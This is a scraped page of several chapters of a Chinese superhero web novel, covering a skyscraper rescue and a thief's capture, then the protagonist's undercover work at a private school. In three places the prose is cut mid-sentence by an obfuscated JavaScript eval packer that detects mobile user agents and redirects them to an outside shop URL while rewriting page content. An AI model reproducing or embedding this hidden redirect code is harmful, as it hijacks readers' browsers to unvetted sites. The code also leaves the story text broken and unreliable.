阴影中匍匐着的艳色睡火莲吸饱血水,沉眠的花骨朵一动,悄然绽开。 还不够。还需要更多的…… 黎沅垂眸,指尖微微用力,将一枚拨片似的三角刺刃推深半寸。 手腕一翻,连血带肉,自他上臂内侧的静脉管位置挑出来一枚针尖大小的微缩芯片。 整个七十层的空间里,浓郁至窒息的香气骤然爆开! 分子云团膨胀翻涌,重瓣花冠层叠张开,似一朵玫瑰星云怒放。 11. 受的荣耀 情人的吻细腻炽烈,爱抚过每一寸或衰老或年轻的皮肤。无声节拍回响,三步华尔兹转啊转,坠落物闷声触地,扑了个空。 呼吸,鼓动,花朵舒张绽放。即使是最阴暗的角落,也被爱情的火光照亮。 走道摇摇晃晃,也许不是地震,只是遇上了花车巡游;双人舞步拉住摇摇欲坠的身体,才让人更鲜明体会到手指、臂弯和拥抱的温度。视野中漂过的每一张陌生面孔,这一刻都别具吸引,蕴含着难以言喻的魅力。 是狂欢节,是热舞病。踏过走廊,穿过门拱,步下阶梯。欢愉吹飞恐惧,个体解体,汇入庞大的集体潜意识涡流。 无需去看,一双眼即是千百双眼。无需多心,主会为迷途的人指明前路。 只管跳舞。跳舞,跳舞,跳舞!!! 阻断剂生效,香气愈浓,丁汀娜就越想吐。强压着痉挛的胃,她抡起“撞门器”,暴力碾过避难层前最后一道安全门:“Leon!你可——赶紧收着点吧——” 话未说完,一个突兀的香调尖啸抛起! 一阵恶寒沿脊椎爬出,丁汀娜捂着嘴,很不给面子地“呕”了一声。 “踢踏!” 两行社交舞队列齐声顿住。成百上千张丢了魂的面孔一起回头,动作整齐,将脑袋往后拧过一百八十度。 “Leon——”丁汀娜打了个寒颤,放声尖叫,“你快说话啊!!!出什么事了!!?” 一瞬之间,尖锐香气收敛平复。 脖子嘎吱作响,所有脑袋转回原位。异动是一场错觉,人群队列如初,踩着柔曼舞步,鱼贯涌入空荡荡的避难层。 一千一百余人,三分钟全员撤出,无任何人员伤亡。 无线电耳机无人接听,沙沙响了会儿,自动切断了通话。 [最新消息!!!中环白沙湾地区突发地质事故,通讯电力网络毁坏,有关部门正在加急抢救……数万人被困摩天楼顶,警方已出动直升机展开空中救援……] “刚才晃荡那两下,它就是地质事故。”谭之将新闻投上挂壁电视,“在江边,离我们还有段距离。” [据悉,多位企业家、投资精英、艺术家、文化圈人士及社会各界名流均出席了今晚在云缦嘉华酒店设办的慈善拍卖晚宴……“黄金美杜莎”黎沅和“狂暴芭比”丁汀娜的联合出席,更是这其中最为人瞩目的焦点……] “他们俩也在?”解洋坐立不安,“江滩那都是超高层建筑,发生地质事故,岂不是很危险……” [……两位超级巨星首日空降东璞即遭逢意外危机,他们将如何应对?袖手旁观,等待警方救援,还是路见不平,为东璞港献上一场精彩的高空开场秀?娱乐频道持续为您追踪报道,记得点点我们,关注哦!] 娱乐新闻毫无同理心,解洋以外,也没人真正担心那两位英雄拍档。车敏在想别的问题:“连海上移动岛都逃不掉能量波冲击……你们说搞地质的那帮人到底在做什么?三年了都拿不出一个合理的假说……” 林昭调出频道列表,飞速划过眼前的全息浮窗,翻找受灾现场直播节目。 丁汀娜,“狂暴芭比”,反应系能力。能力发动后的三分钟内,能将爆发冲击和抓举力量推升至顶尖运动员的十倍量级,极限情形下,甚至能徒手撕裂直升机起落架。 缺点是冷却时间极长,使用能力后有一个器质虚弱的乏力期。利弊明确,天生适合正面对抗的主攻手。 黎沅,“费洛蒙之吻”,同样的反应系能力。该能力形成一个范围不定的流动场,通过自身散发的信息素,在几秒至几分钟的浮动时间段内,干扰、控制对方的脑电波和激素水平活动,效果类似催眠,副作用尚不明确。 短短几行wiki,出现了很多模棱两可的描述。“干扰”和“控制”是什么,能达成什么效果……都未能量化表达,定义得十分模糊。 林昭直觉黎沅有问题。超管局查不了外籍权贵,黎沅那一副绝美皮囊里头裹的是人还是鬼,恐怕只有他自己知道。 落地窗外,紧贴着一张脸。 皮肤蜡状,眼窝黑陷。眼球凸爆,咧开至耳根的唇条紧紧吸附着玻璃,将余下无处安放的面部器官挤成一团平面的肉。 他屈着熏黑的手指,狂热敲打玻璃。窗里的人在忙自己的事,他便隐忍地等待,在热气呵出的薄雾上,涂抹了一枚东倒西歪的爱心。 生着一口残缺烂牙的嘴热切翕动着。 一圆一张一闭。 唯独最后一个“你”,被他拉得格外漫长。 第三波余震晃过。伴着数声巨响,摩天楼垂垂歪倒,多米诺骨牌一样,倚倒在邻街另一栋高楼身上。 这古怪的人失了平衡,被身后一根纳米索拽着晃开几米,又手脚并用猛挣几下,趴伏回玻璃上。 黎沅却好似什么都没看见。他叉着腿钉住地,高挺修劲的身条几近纹丝不动,面上也是看不出情绪的淡漠。 嘱咐了已脱身的经纪人几句,他摘下单边耳机,慢条斯理收好。 动作起落,黎沅腰间扣着的水手结,悄然脱落散开。 垂落一截的安全绳如有生命般自行绷紧拉直,紧紧箍住黎沅的腰,一下一下,想将他往窗外拖。 黎沅仍是没动。垂落了碎光闪烁的长睫,他低头,在胸口划了个十字。 神色无比虔诚庄重。 一步转身,风声破帛。抽搐不已的安全绳陡然暴起,自他指尖抛出! 砰咚——! 拍卖台正后方,黎沅上一秒站的位置。 一幅不知哪来的重装裱大型油画劈头砸下。 月光微明。船锚形的三角尖刺闪过寒芒,牵领着黑曼巴蛇般妖娆舞动的高空安全索,噗啪两声击碎防弹玻璃,直刺男人咽喉!!! “……有了,这里。”林昭将挂壁电视定在一幕有如超英电影的画面上。左上角的水印和时断时续的黑屏证明它并非经典影片回放,而是来自无人机现场直播。 凛凛月下,歪斜倒向一边的蓝宝石大厦外立面上,一个身穿安保员制服,后颈吊着根钢索,蜘蛛人模样的古怪家伙以极高速度,垂直加速上升。 破窗而出的三角尖刺一击不中,往回一勾,险险吊住上一层窗边。 破开的窗洞中跃出一道雪金色的修劲身影,紧绷长腿一弓踩过玻璃幕墙,拽着绷紧的安全绳,纵身而上! “啊啊啊!黎沅黎沅黎沅!” “正好开打,赶上了。” “噢,Leon——小心点——” 大呼小叫三倍音量,林昭捂着耳朵,倒抽一口冷气。 但林昭也和他们一样,很难将目光从时时卡帧的屏幕上移开。 直播追凶的窗口里,这一位“黄金美杜莎”看起来和光栅卡上的美神像很有些不同。 武器是黑色安全索,一端的三角尖刺用于进攻突袭,另一头的三爪钩镰能当工具使用。在劣势局面下,钩镰擦着皮就能拽走对手一大块血肉,是一柄逆转战局的利器。 蜘蛛人往楼顶逃,靠的是事先布置好、自顶楼垂挂下的工作用高空纳米索。黎沅用的,仅有手中这一股绳鞭。 打下高空支点,借力纵身,追逼腾跃……每一个落点都精心计算,动作准确有力,没任何多余的赘饰。 成年花豹精通狩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701072|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猎艺术,讲究度量目标后撕裂猎物喉管,一击毙命。蛇发女妖美杜莎无差别狂乱攻击,并不具备这生于本能的冷酷。 没料到黎沅能追上来,蜘蛛人慌了神,频频回头下顾。黎沅却没半分犹豫,几纵几跃,追近楼顶。 决战时刻将至,直播间气氛紧张,观众越来越多;无人机也很上道,追着人拉近焦距,开大光圈,给两人都来了个环摇特写镜头。 蜘蛛人蜡黄皱巴的脸迸出来,给所有人都吓了一大跳: [拿开啊!我们付费会员看不得这个!] [这兄弟刚坐十年牢出来?] [印堂发黑,命不久矣] [这人是不是嗑药?] 展示完面目可憎的罪犯,下一个高光镜头非黎沅莫属。一眨眼功夫,无数发疯弹幕高速飘过,巨额打赏刷个不停,屏幕中心一会儿炸个航空母舰一会儿炸个深空轨道站。眼看什么都看不清了,林昭动动手指,关掉所有。 世界安静了。 “师哥!那是什么!?”车敏指着屏幕叫起来,“有东西在闪——” 特写镜头后方,星星点点的光芒越来越多。萤火虫一样漂着,却始终和黎沅保持在一个不近不远的距离。 林昭思忖片刻,道:“这个蜘蛛人,他从一开始就频频回头,在往斜下方看。只是为了看黎沅吗?如果说,他其实另有目的……” “……很多能力的触发,都和视觉注视有关。”谭之道,“确实,他很可能是在使用某种能力。” 几个人讨论未果,紧接着弹幕中也有不少人注意到了这片闪烁的星芒。不过大部分人都以为这是直播镜头里自带的定制特效,毕竟它看起来和黎沅那头飘舞的金丝秀发是如此地相配。 一黑一白两道身影急速拉近,仅余一臂距离时,闪烁漂浮的星芒突然消失! 下一瞬,数百片尖锐的蓝宝石碎片自黎沅面前凭空出现,冲他鼻尖而去!!! 真人秀就是这点好,一惊一乍都是实时的。客厅里几个人都跳了起来:“啊啊啊啊啊!!!黎沅啊啊啊啊!!!!不要啊啊啊啊啊!” 黎沅当然听不到。 他歪头,甩了甩头发。 一大把玻璃碎片挟着劲风呼啸而过,割断发尾系着的丝绒发带,带走了几缕飘散的金丝。特写镜头下,黎沅那一头黄金般耀眼的柔浪长发瀑布般飞散,晚风中张扬舞动,璀璨至极。 船锚尖刺往上抛出,准确无误击断了吊挂着蜘蛛人的纳米索。 绿宝石的眼睛倒映着不见底的夜空,蜘蛛人四肢一霎僵直,呈一个大字型直直往下掉! 三爪钩镰蜿蜒追落,黑蛇吐信,泛着月光的刺钩一下将人吊起。 尽管知道这蜘蛛人多半不是什么好东西……观众们还是大大地松了口气。 超英偶像不能有污点。生死关头正当防卫可以,私刑处决置犯人于死地,就是塌房崩人设,万万不行的。 蜘蛛人半死不活被提上半空。黎沅俯视着他,薄唇挽起个笑,轻声说了句什么。 语毕,他收鞭,将蜘蛛人往旁开的窗洞里一抛,纵身跃入。 车敏蹦蹦跳跳:“啊啊啊啊!抓到了!!!干得好啊!!!” “没受伤吧。”解洋很担心黎沅的脸,“那么多碎玻璃片……擦着一定很疼。” “丁汀娜呢?”谭之神魂飘散,关心起了他的美利坚甜心。 林昭在想黎沅说的那句话。无人机录制通常不会靠能力者太近,收音效果也就相当糟糕。但从那优美的唇形中,他模模糊糊读出了几个不怎么美妙的单字。 他说。 ——下地狱吧。 12. 老实点 [暴徒已被控制……警用直升机已抵达白沙湾上空……黎沅和丁汀娜同数位来自民间的高功能志愿者,正协助警方展开救援……] [已确认遇难者人数三万二百三十五名……救援行动正在警方和超管局的联合指挥下,有条不紊地推进……] [据知情人士透露,暴徒真身是云缦嘉华酒店的一位安保人员。晚间云缦嘉华智控系统遭遇勒索,疑似与该名暴徒有关……是否有犯罪同伙,目前尚不明确。警方已对中环摩天楼群展开地毯式排查,酒店方面表示,将全力配合警方工作……] 各方势力登台,救援现场十分安全,不再有什么精彩场面可看。电视画面被四个人抢着换来换去,却逃不脱到处每一台都在播中环救灾现场。 转了一圈回到原地,一位前线记者正在镜头前挥舞手臂:“黎沅和丁汀娜!!!看哪,我们的英雄来了!!!” 一声令下,几个人不抢了。摄像机视角一转,直升机隆隆近地,放下舷梯。黎沅躬身出舱,几步落地,向现场接应的警务人员文雅致谢。 他左上臂系了道白纱绷带,右手臂弯托举着身量小巧的丁汀娜。身高差比对强烈,单手抱苏到爆炸,帅哥甜妹组合登对又亮眼,救灾现场一秒爆改时尚大片摄影棚,画里画外都看傻了眼。 丁汀娜大方对镜头打招呼,继而举起双手,在头顶甜甜蜜蜜比了个心。 采访过程中,丁汀娜努力在笑,肢体动作却掩不住的疲弱。黎沅受了伤,月白色的丝绸衬衣上沾染点点红痕,但他不见半分疲态,甚至比直播时更光彩照人。 两人甜言蜜语夸了几句东璞港,黎沅婉言丁汀娜需要休息,快速结束了访谈。 古怪,相当古怪。 反常,相当不正常。 林昭蹙着眉,在脑中过了遍这两人的能力词条,手机上找出几个L.N.A组合的历史视频,拽着进度条,跳着看。 看完,他捉着筷子清锅底,若无其事问解洋:“黎沅的能力,确实是反应系?” “……是吧?”解洋本想说当然,又觉得有失客观,随即改口,“他的能力特征乍一看和经典的反应系有所出入,最初引起了很多讨论。几次行动后打出名气,海外就有多家研究机构对他产生兴趣,重金邀他登门配合检测。” “基础数据网上公开可查,我也看过几篇。其中几项反应系能力的关键特征数据,像是特异性蛋白和转运酶的生成、能量波峰波谷形态、乏力期的生理监测数据……都呈现出明确的反应系特征。” 林昭点头,没再多说什么。 反应系能力具备短续航,高爆发,长冷却的特点,峰值烈度与能力者自身的生理和情绪状态高度相关,能量波动最为剧烈,具有四分型中最大的方差。 瞬时爆发的高烈度能量并非凭空而来。几乎所有反应系能力者都必须面对一个危险的敌人——能力关闭后的乏力期。 如丁汀娜这样的暴力甜心,顶尖的反应系能力者,一拳能顶十个拳击冠军,火力全开所向披靡。可三分钟一过,身体自保机能启动,力量次序退潮,她就会变得薄脆如纸片,连路都没法自己走,所以才会变成黎沅扛着她下直升机。 口服、注射激素类药物或神经阻断剂,能在一定程度上延长能力峰值期,或是滞缓乏力期的到来。进入乏力期后打封闭针或是补充高聚营养剂,也能加快恢复,提升能力者的生活体验。 但这些手段都是缺啥补啥,不可能给人补满了缺口还满溢出去。 丁汀娜很累撑不住是正常的,像黎沅这样好像上哪吸饱了年轻少女的血,容光焕发风采熠熠,那就是倒反天罡,极其不合理。 第二天上工,林昭给解洋安排了一个解析分析黎沅超能力的课题。 追星嘛,就要追出超越人生的价值。 黎沅和丁汀娜生擒暴徒的各种物料在社媒首页高调挂了好几天,林昭只是素人,飞空视频的热度很快被压过,没多久就淡出了公众视野。 一周后,警方出具案件公示信息,证实了形貌诡异的“蜘蛛人”,确是云缦嘉华酒店的一名普通安保人员。 这位安保人员自恃异能独特,自数年前,就常常使用“隔空移物”这一招小偷小摸。这一次他监守自盗,破坏酒店安保系统,又滥用自身异能盗窃天价美术品,逃亡过程中故意伤害他人,被依法刑事拘留。 至于他如何做到完美卡点地质事故,趁着电力故障和人群骚动的那几分钟实施盗窃的…… 目前尚未有定论,仍需继续调查。 数名提供拍品的美术品藏家向L.N.A道谢,邀请他们在拍品中挑选一件作为谢礼。 黎沅毫不客气,指走了那一幅被蜘蛛人搬运到半路,险些劈头盖脸砸开他天灵盖的抽象风格油画。 [车敏:乱涂几个彩色几何块……能卖十个亿!!?] [谭之:看我一分钟十亿] 半分钟,谭之复刻了一张高还原的彩色豆腐块。 四十秒,解洋拍摄了一张水杯打翻在纸张上糊开墨迹的流体画。 五十秒,林昭交出了一张拿水笔涂得密不透风的超低配克莱因蓝。 四个大活人凑不出一粒艺术细胞,也缺失对于艺术殿堂基本的敬畏心。“吃不到一块去”里抽象小涂鸦横飞,直到一条长消息跳出。 [林老师:@林昭@谭之,东璞太平港医院神外科室最近调来一位临床专家,他是北大西洋超心理学术研究会(NAPR)的荣誉会员。你们交流下。] 所有人不敢怠慢,纷纷乖巧收到。林昭点开学者主页,冲眼见到一张石膏像般优雅凝固的脸。 贺迟,旅居新英格兰的东国人士。现任新英格兰惠灵顿医院神经外科的教授级医师,兼任剑桥医学院客座讲师。 没料想会在风和日丽的午后,毫无防备地与天台楼顶将自己推下去的不速之客重逢,林昭想自己这会儿的表情一定很有意思。 没什么想法,林昭报了个警。 临床专家的大二寸照和资料拷贝两份,并上名牌围巾和士力架包装纸上取到的指纹,飞往温家两兄弟的信箱。 [温准:我们调查过这个人,但……] [温决:别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701073|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹,这家伙是个白板!] “白板”是能力者对普通人比较粗暴的一种称呼。磁暴后几年,社会上觉醒异能的人越来越多,双方关系微妙变动间,派生出了一些新造的习语。 [温决:……忘了你也是个白板] [温决:抱歉啊,抱歉] [温准:总之,不要再打听这个。] [温准:这个案子,和你没关系。] 林昭继续看资料。惠灵顿医院往回是剑桥生命研究所,再接着是剑桥医学院……履历下方是拉不到头的奖项,以及数篇发表在知名医学期刊的代表论文。林昭看了几篇,不得不承认,这位确是其专业领域中的大牛。 也许世界上真的存在两个外表完全一模一样的人吧,林昭不无恻隐地想。 看完,他打字:“或许他有个失散多年的孪生兄弟?” 一句话气死两个人。没获得什么有意义的信息,林昭格外叮嘱了谭之,让他后续把沟通进度也抄送给自己。 半个月后,晟华作弊案前置流程跑完。林昭携着解洋的超英小卡,拎起工具箱,堂堂入驻晟华中学心理咨询室。 “林……林、林同学啊,你做什么呢?”心理老师反复打量对桌这个只有二十二岁的清纯男大,一会儿看他口罩侧边嫩得能掐出水的脸颊,一会儿看他扑闪扑闪的漆黑羽睫,一句老师愣是喊不出口,磕巴半天改了词,“这你们实验室的工作?你都来这儿出勤了,还给你派工作啊……这可真的是……” 她在晟华连续工作了十五年,从她的角度来看,超管局派来的这一位“科学顾问”,没比学生大几岁,完全就是个清秀漂亮的小孩子嘛。 林昭摇头,抬起握着焊枪的手,拿手背擦了擦沁着汗珠的额角:“能量检测仪。” 心理老师“哦”了声:“检测仪,咱们这也有啊。虽说申请麻烦点,但没必要自己装那么费事吧……来,我发个表格你填一下……” 林昭很不给面子:“不必了,谢谢。商业款,不好用。” 心理老师碰了一鼻子灰,暗自念叨着谁家好人这样说话啊,懒得再搭理他。 晟华是私校,考学分数线高,学生家境大都不错。许多学生家中聘了名师补课,也为孩子安排诸如高尔夫、潜泳、滑雪等课程强健身心。各个学生都忙得三班倒,身体和心灵时时刻刻都在路上,没人有时间来心理咨询室谈天说地。 一早上过去,除了一个来送文具的,咨询室的门没被推开过一次。林昭闷头忙自己的,心理老师窝在椅子里刷剧,时不时爆发出一阵欢快的笑声。 快到中午,林昭抬头:“你的超能力是什么?” “我心情好的时候,能看到一点对方情绪的颜色……没什么大用。”心理老师笑得正欢,顺嘴回答了他,顿时一惊,“你怎么知道我有超能力?谁和你说的?” 林昭顿了片刻,想了想该怎么和她解释单光子碰撞探测法的优越性和数据精确度,最后还是放弃:“这个……不太容易解释。” 不知想到什么,心理老师脸色一变,嘴角抽搐,假笑绷不住裂开了。 13. 每次超速 自超能力爆发后,东国发布劳动就业法补充条例,禁止军警等特殊工种以外的一般用人单位询问调取候选人自身的能力情况,要求用人者对高功能人群和普通人群一视同仁,旨在保障劳动者的平等就业权。 但,老牌私校晟华对师资力量颇有要求,同等条件下更偏好聘用持有优势能力的教师,行业里不是秘密。 对于这条潜规则,教师们心知肚明。可身边有多少能力者,占据了教研组多大比例,具体的能力又是什么……因合同里写明了禁止讨论薪资和能力,众人就和打狼人杀似的,基本靠窃窃私语和猜。 林昭抛出问题,直接将规则打破。心理老师瞬间转过数个念头,决计试一试他的成色:“教务处和办公室……早些时候都去过了吗?” “教务处去过了。”林昭拧上最后两个金属件,盘算着,“办公室……下午吧。” 心理老师一愣,脸色更难看了。 下午……吧??? 校办公室,这可以说去就去吗? 不需要发邮件提前预约的??? 校办那位名叫Ami的秘书,小小年纪眼睛就长到顶门上。有个年级主任交月报忘了将表格附件压缩到10个M以内,被她打回抄送所有人,活生生挨了半年嘲。 就算她这个心理老师是教导主任沾亲带故介绍来的,到了校办面前,一样得夹着尾巴做人,凡事做低服软,不能越雷池一点。 什么“科学顾问”,竟敢这样横! 他有什么后台?代表谁来的?不过一桩作弊案,超管局又能投入多少资源给他? 窗外,一名保安甩着T棍走过。 工具箱里镜面之间单一的折射光线忽然劈开,一束原地不动指着前方,一束随着保安的巡逻轨迹,缓慢掉头偏转。 林昭撑着脸看外头,闲闲道:“贵校的能力者……还真挺不少。”就是说,最近为什么总见着保安? 他本意是想就着这个话题往下聊,向对方打听学生中是否有比较出挑的能力者。谁知话一出口,有如晴空一道霹雳,敲得心理老师肝颤胆寒! 原来是这样…… 原来是为了这个啊! 呲了口冷气,心理老师不禁暗骂自己觉悟不够,理解层次太低。 是,超管局确实管不着教育问题。但它是真不能管吗?它只是不想管、懒得管!!! 再说了,超管局和市教育局,那才是同气连枝的嫡亲兄弟啊!他们晟华算什么?——桌都上不去,一个大头佃户! 作弊案调查,恐怕只是个由头。派一个嫩掐掐的后生仔,安排他坐进全校最冷落的心理咨询室,如此低调行事……就是为了叫所有人放松警惕,方便扯长线,钓大鱼。 抓的就是晟华校方这条阳奉阴违,大肆违反“补充条例”,偏袒高功能人群的巨鲲!!! 看清楚了利害关系,心理老师很快冷静下来。市局级单位和区区一所私校,傻子都知道要站哪边。 更别提林老师心善,套了她的话,还特地透了口风,敲打提点她。 再不抓紧时间表态,她这十五年的班就算是白上了。 “林老师,您第一天来,对咱们学校肯定还不熟悉。”心理老师堆起平生最和蔼的笑容,“午休我带您四处走走,给您介绍认识下?” 林昭犹豫片刻:“这个,其实还挺熟悉的。”超管局连建筑图纸都发给他了。 “哎呀……”心理老师毫无尴尬,热情道,“那中午一块吃饭呗。咱去第一食堂,那里最好,小菜都是现炒的……” 第四堂的下课铃陡然爆鸣,楼道走廊里脚步声隆隆作响,一大群学生蜂拥出教室,蝗虫过境般漫过校园,遮过了心理老师的说话声。 “没事,您去就好。”林昭拿出个塑料纸包的三明治,“我带了饭。” 目送人走了,林昭丢开咬了两口的三明治,戴上护目镜,唤醒他最忠诚的手表:“帮我调取飞碟的数据,做回归拟合分析,验证入库所有假设模型。” “当然,正在为您调取数据。”智能腕表温和回应,“预处理……选择入库模型……拟合演算开始……” 半开的工具箱中荧光闪烁,全息屏跑着数据流,模拟光束随之调整方向,切换不同色谱。不少走过林荫道的学生都留意到教务楼角落里,这一扇流光溢彩的窗户,好奇地驻足观望。 咚咚,咚。几个女生敲响了窗户:“Hello——你玩什么呢???颜色好漂亮!” 林昭抬头:“别盯着看。对眼睛不好。” 视线对上,敲窗户的短发女生神色微愣,脱口一句“哇呜”。她身后另两个女孩手挽着手,激动成了一团:“我就说吧我就说吧?就是他!没有错!” 两人看着林昭咬耳朵:“好可爱……” “看起来……比视频上……还……” “他真的会飞?会飞,那岂不是就可以……” “你去问嘛,问了就知道了……” “干嘛我去啊?为什么不是你?……” 林昭:“?” “呃……”大概是觉得有点丢人,短发女生的脸微微地发红。她做了个深呼吸,眼神坚毅划清界限,“你别理她们,她们有病!” 另两个女生跳起来:“你你你你脸红了!?哈哈我看啊你才是——” 女生们打打闹闹动静不小,引来远处一群男生驻足。这几个人都生得人高马大神气十足,为首又有一个格外高大英俊,制式衬衫外罩一件灰鸦色毛线背心,平添几分书卷气,一群人走动起来很是招摇。 领头的身边一个套在宽大衬衫里,显得格外白瘦的长条子男生吆喝道:“单荔!你干嘛呢?” 说的是废话,态度也不友善,图的就是被女同学吼一嗓子。手挽手的两个女生以差不多的频率翻了个大白眼,觉得这几个玩意儿实在是幼稚极了。 对比后更知云泥之别,两个女生围上来: “老师,怎么称呼您?” “是心理室新来的实习老师?” “这工具箱装的什么,能给讲讲吗?” “毕业以后,会来我们学校工作?” “我们都看了你的视频……” “真的会飞吗!?——”俩人异口同声。 林昭很有耐心地回答了几句,做到了句句有回应但什么都没说的效果,成功把天聊死。 送走她们,林昭抬手拉上窗帘,三两口啃了三明治,埋头又忙了一阵子。 和事先想象的情况差不多,这种高水平私校,管理团队就像大型企业,个个鬼精,人事斗争不少。学生整体都偏成熟,看重自我价值,也喜欢放松玩乐,是他们父母成功的微缩版本。 心理老师一直没回来,林昭也就心安理得,干到快两点才收摊。 锁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701074|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工具箱,他出门。 晟华每个学年分十八个班,每个班仅有三十余人,很像一块一块被精心分割开的小菜畦。成绩和志愿仍是这里分班的主要标准,国际班和名校班占据五到八层,尽享观景电梯、天文台、开阔视野和空中花园,特色班和普通班被安顿在一至四层,尽享步行楼梯和一出门就是大水泥地。 顾昐一个普通班的后进生,突然爆大冷门力压一直踩在他头顶的资优生们,也难怪会招来家委会的连环举报。 成绩事小,自尊事大。自尊格外多,事也就闹得特别大。 去校长办公室,必须先穿过教学楼。抬脚进门廊走了两步,林昭忽然顿住。 ……他看到什么了? 一匹马拉开后门,走进了教室? 以为自己在梦游,林昭抬手,狠狠揉了把眼睛。 教室是高二十七班。马……好吧,一个戴着马头套的人,幽灵似的,无声无息飘了进去。 油光水滑的棕色马鬃轻轻扬起,消失在门扉后头。 这都没人管管吗!?林昭震惊了。 下午第一堂课,都已经开始二十分钟了! 校办什么的晚点再说吧。林昭故作无事,走过刚关上的后门,穿行过明净透亮的铝合金窗。马头人旁若无人进了教室,拉开靠窗最后一排的空座位,腿一翘坐下了。 整个教室都沉默了。 “讲课啊。怎么不讲了?”马头摆了摆,抬起一双黑黢黢的水杏眼,“老师,现在还是你的上班时间吧?” “桑士桢!”物理老师咬牙切齿,一支马克笔旋转飞出。教室里哄声四起,马头脑袋一歪,马克笔落了个空,“摘了你的头套!!!分不清上课还是下课?真当自己是匹马?我告诉你,就算你是匹马,也是驽马、劣马,拖全班后腿的下等马!!!” 马头讪笑着抖了抖。下一秒,一个模仿儿童益智片的粗笨声音,憨憨地透过头套响起:“老师,对不起,对不起。我不是故意的。” “我怕我摘了头套,吓到你。” 本就不怎么太平的课堂瞬间炸锅,笑声惊天动地,课桌被砸得哐哐作响。“好!”“漂亮!!”哄笑声不绝于于耳,“再来个!!!” 物理老师脸红得发黑。他扭住牙关,三两步冲下讲台,劈手去夺那个马头头套。 这奇怪的少年倒也不反抗。他象征性地扯了扯头套,松手任物理老师将头套摘走了。 “切——”笑声转变成一片没看到好戏的嘘声,“没劲——” 少年冷笑了声。 他有一头钢丝般又硬又黑的发,生着一张极狰狞的脸。头颈部的皮肤上满布着交错刀痕,皱褶起伏的疤痕增生组织一路延伸,毛虫一样蠕动着爬进制式白衬衫的领口深处。 在眼皮和嘴唇这些皮肤较薄的部位,瘢痕就显得更深,丑得煞气满满。马头套一摘,没人敢和他顶嘴,一个两个都老实转了回去。 “好好上课——”少年扬着声,得意于这份因他而起的恐惧,“要听老师的话。知道吗?” 物理老师冷哼一声,丢下马头套,回到讲台前继续上课。 少年打个哈欠,捡起马头套胡乱擦了擦。拿五指慢慢梳过平滑的鬃毛,他眼神一晃,飘向走廊窗外。 春日午后,阳光正好。风过风止,微微拂动道旁烟紫水红绣球花枝。 长拱廊下,已空无一人。 14. 都有你 短短一个午自修,新晋人气能力者来晟华实习任教的谣言传遍校园。林昭在校办碰了个闭门羹,回程路上,莫名就迎接了许多学生热切探究的目光。 林昭没有多想,只当学生们看到不认识的面孔,比较好奇。回到教务楼,望见走廊上也堵着几个凑热闹的人,他才觉出不对来。 心理室向来门庭冷清,这会儿廊前窗后却拥着不少学生,难道是超管局启动作弊案调查的消息传开了? 本次事件的嫌疑人是未成年人,学生家庭背景特殊,校方亦十分爱惜羽毛。调查工作保密进行,是刚性要求。 早上林昭到教务处递超管局的介绍条,还挨了教导主任半小时训,耳提面命要他工作时注意方式方法,不得耽误学生学习,不应影响晟华在外一贯以来的优秀口碑。 然而,晟华学生家境普遍不错,各人家中自有消息渠道。家委会连环举报也十分高调,整件事可说是到处透风,全是破绽……无论如何,还是先回办公室。 这样想着,林昭拿文件轻拍下身前学生的肩,道了声“借过”。 几个人闻声扭头,纷纷一愣。其中一个脱口而出:“我靠,还真是本人啊。” 什么本人不本人?林昭反应了一秒,很快意识到,这几个学生和中午扒在窗外围观的女生们一样,都是看过视频,来心理室“追星”的。 想起早晨教导主任说的“不要干扰学生学习”,林昭无语催促:“站在这里做什么?快回去上课啊。体育课也不行,回去,赶紧……” 本想说被老师撞见就麻烦了,却不想言出法随,走廊另一头心理老师挽着教导主任下楼,学生哄一声作了鸟兽散。 其中还有那么两个并指在额头一划充作敬礼,感谢他通风报信,装X到令人崩溃。 “哎,林老师!您忙完啦?”心理老师看到林昭,热络打着招呼,几步跑近,又忙碌张罗着将左右两人都请进屋去:“赶巧,我正和主任讨论着呢,想看看能怎么帮您,更好地支持您的工作……” 教导主任也和早间铁面无私的模样不同了。她接过心理老师现泡的花茶,拿杯盖在杯口上转了转,水汽氤氲中表情慈祥:“小林老师啊,有什么困难,你尽管说。能帮得到的,我们尽力而为。帮不到的,我们尽力协助。” 两张面孔和蔼可亲,林昭却突如其来地想起,以前遇到难题时,林君成偶尔会提醒他,不是所有问题,都必须要有答案。 当时他不以为意,现在却觉得这话很有几分道理。 比如眼前这两位老师的态度转圜为何如此之快……林昭自省,认识到即使他把头想破,恐怕也没办法想得通。 但,针对不确定的命题,也有模糊算法可以应对。 